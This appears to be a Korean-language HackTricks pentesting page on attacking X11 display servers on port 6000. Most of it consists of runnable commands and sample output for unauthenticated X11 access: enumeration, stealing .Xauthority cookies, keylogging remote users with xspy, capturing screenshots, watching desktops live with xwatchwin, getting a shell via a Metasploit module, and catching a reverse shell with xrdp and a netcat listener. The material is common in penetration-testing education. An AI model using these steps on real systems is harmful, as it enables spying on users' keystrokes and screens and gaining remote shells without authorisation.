# 6000 - Pentesting X11 {{#include ../banners/hacktricks-training.md}} ## 기본 정보 **X Window System** (X)는 UNIX 기반 운영 체제에서 널리 사용되는 다목적 윈도우 시스템입니다. 이는 개별 프로그램이 사용자 인터페이스 디자인을 처리하는 그래픽 **사용자 인터페이스 (GUIs)**를 생성하기 위한 프레임워크를 제공합니다. 이러한 유연성은 X 환경 내에서 다양한 맞춤형 경험을 가능하게 합니다. **기본 포트:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeration **익명 연결** 확인: ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### 로컬 열거 사용자의 홈 폴더에 있는 파일 **`.Xauthority`**는 **X11의 인증**에 **사용됩니다**. [**여기**](https://stackoverflow.com/a/37367518)에서: ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: 128비트 키(“쿠키”)를 생성하고 이를 \~/.Xauthority(또는 XAUTHORITY envvar가 가리키는 위치)에 저장합니다. 클라이언트는 이를 서버에 평문으로 전송합니다! 서버는 이 “쿠키”의 복사본이 있는지 확인하고, 있다면 연결이 허용됩니다. 키는 DMX에 의해 생성됩니다. > [!WARNING] > **쿠키를 사용하기 위해** env var를 설정해야 합니다: **`export XAUTHORITY=/path/to/.Xauthority`** #### 로컬 열거 세션 ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` 예제에서 `localhost:0`은 xfce4-session을 실행하고 있었습니다. ## 연결 확인 ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## 키로깅 [xspy](http://tools.kali.org/sniffingspoofing/xspy) 를 사용하여 키보드 입력을 스니핑합니다. 샘플 출력: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## 스크린샷 캡처 ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## 원격 데스크톱 보기 Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` 먼저 xwininfo를 사용하여 창의 ID를 찾아야 합니다. ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** **실시간 보기**를 위해 우리는 사용해야 합니다. ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## 셸 얻기 ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` **리버스 셸:** Xrdp는 또한 Netcat을 통해 리버스 셸을 가져올 수 있습니다. 다음 명령어를 입력하세요: ```bash ./xrdp.py \ –no-disp ``` 인터페이스에서 **R-shell 옵션**을 볼 수 있습니다. 그런 다음, 로컬 시스템에서 포트 5555에서 **Netcat 리스너**를 시작합니다. ```bash nc -lvp 5555 ``` 그런 다음 **R-Shell** 옵션에 IP 주소와 포트를 입력하고 **R-shell**을 클릭하여 셸을 얻습니다. ## References - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan - `port:6000 x11` {{#include ../banners/hacktricks-training.md}}